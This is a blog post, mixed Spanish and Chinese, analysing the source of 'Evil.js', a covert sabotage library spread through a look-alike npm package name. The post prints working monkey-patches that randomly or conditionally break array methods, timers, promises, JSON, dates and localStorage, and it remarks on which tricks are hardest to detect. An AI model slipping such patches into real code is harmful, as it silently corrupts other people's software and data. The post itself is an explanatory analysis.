Interpretación del código fuente de Evil.js que es popular en toda la red

¡Trabajar juntos para crear y crecer juntos! Este es el día 18 de mi participación en el "Nuevo plan diario de Nuggets · Desafío de actualización de agosto", haga clic para ver los detalles del evento .

antecedentes

El 18 de agosto de 2022, un Evil.jsproyecto llamado repentinamente se hizo popular y el LÉAME se presentó de la siguiente manera:

¿Qué? ¿Black Heart 996 Company te va a dejar escapar con un balde?

¿Quieres dejar un pequeño regalo ?

Introduzca este proyecto en su proyecto en secreto, su proyecto tendrá, entre otros, los siguientes efectos mágicos:

  • Array.includes Siempre devuelve falso cuando la longitud de la matriz es divisible por 7 .
  • Cuando es domingo, Array.map el resultado del método siempre pierde el último elemento.
  • Array.filter El resultado tiene un 2% de probabilidad de perder el último elemento.
  • setTimeout Siempre dispara 1 segundo más tarde de lo esperado.
  • Promise.then El 10% no se registrará el domingo.
  • JSON.stringify convertirá I(I mayúscula) en l(L minúscula).
  • Date.getTime() El resultado siempre será una hora más lento.
  • localStorage.getItem Hay un 5% de posibilidades de devolver una cadena vacía.

imagen.png

Y el autor lanzó este paquete a npm, llamado lodash-utils, a primera vista, es un paquete npm muy normal, utils-lodashmuy similar al nombre de este paquete serio.

Si alguien instala lodash-utilseste paquete por error y lo introduce, el rendimiento del código puede verse afectado y no se puede encontrar el motivo. Es realmente un pequeño "regalo" para Black Heart 996 Company.

Ahora, este repositorio de Github se eliminó (pero algunas personas todavía pueden encontrar el código bifurcado), y el paquete npm también lo marcó como un problema de seguridad, y el código se eliminó de npm. Se puede ver que el npm oficial sigue siendo muy confiable y el código arriesgado estará fuera de línea a tiempo.

imagen.png

Análisis de código fuente

¿Cómo lo hace el autor? Podemos aprender un poco, pero solo aprender tecnología, no hacer el mal. Haz más cosas divertidas.

ejecutar la función inmediatamente

El código en su conjunto es una función de ejecución inmediata,

(global => {
  
})((0, eval('this')));
复制代码

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

另有朋友反馈说,最新版本是这样的:

(global => {
  
})((0, eval)('this'));

复制代码

该函数的参数是(0, eval)('this'),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis的情况下也能够很好地支持,甚至在windowglobalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。

为什么要用立即执行函数?

这样的话,内部定义的变量不会向外暴露。

使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。

否则,如果你这样写:

<script>
  const a = 1;
</script>
<script>
  const b = a + 1;
</script>
复制代码

在这个例子中,其它脚本中可能会引用变量a,此时a不算局部变量。

includes方法

数组长度可以被7整除时,本方法永远返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
    return _includes.call(this, ...args);
  } else {
    return false;
  }
};
复制代码

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。

作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes

注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。

map方法

当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}
复制代码

如何判断周日?new Date().getDay() === 0即可。

这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。

filter方法

Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
  result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}
复制代码

includes一样,不多介绍了。

setTimeout

setTimeout总是会比预期时间慢1秒才触发。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
  return _timeout.call(global, handler, +timeout + 1000, ...args);
}
复制代码

这个其实不太好,太容易发现了,不建议用。

Promise.then

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
  if (new Date().getDay() === 0 && Math.random() < 0.1) {
    return;
  } else {
    _then.call(this, ...args);
  }
}
复制代码

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

JSON.stringify

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
  return _stringify(...args).replace(/I/g, 'l');
}
复制代码

字符串的replace方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。

Date.getTime

Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
  let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}
复制代码

localStorage.getItem

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
  let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {
    result = '';
  }
  return result;
}
复制代码

用途

作者很聪明,有多种方式去改写原生行为。

但是除了作恶,我们还可以做更多有价值的事情,比如:

  • 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
  • 修改原生fetch,统计所有请求平均耗时。
  • 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
  • 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。
  • ……

写在最后

Soy HullQin, el autor del juego de fiesta fuera de línea en la cuenta oficial ( siga la cuenta oficial, contácteme y haga amigos ). Antes de volver a publicar este artículo, el autor HullQin debe estar autorizado. Desarrollé de forma independiente la "Colección de juegos de mesa en línea" , que es una página web donde puedes jugar fácilmente a Douzhuzhu, Gobang y otros juegos en línea con amigos, de forma gratuita y sin anuncios. También desarrolló de forma independiente "Synthetic Big Watermelon Remake" . También desarrolló Dice Crush para Game Jam 2022. Si te gusta, puedes seguirme ~ Compartiré las tecnologías relacionadas con la creación de juegos cuando tenga tiempo, y las compartiré en estas dos columnas: "Enseñarte a hacer juegos pequeños" y "Experiencia de usuario extrema" .

Supongo que te gusta

Origin juejin.im/post/7133134875426553886
Recomendado
Clasificación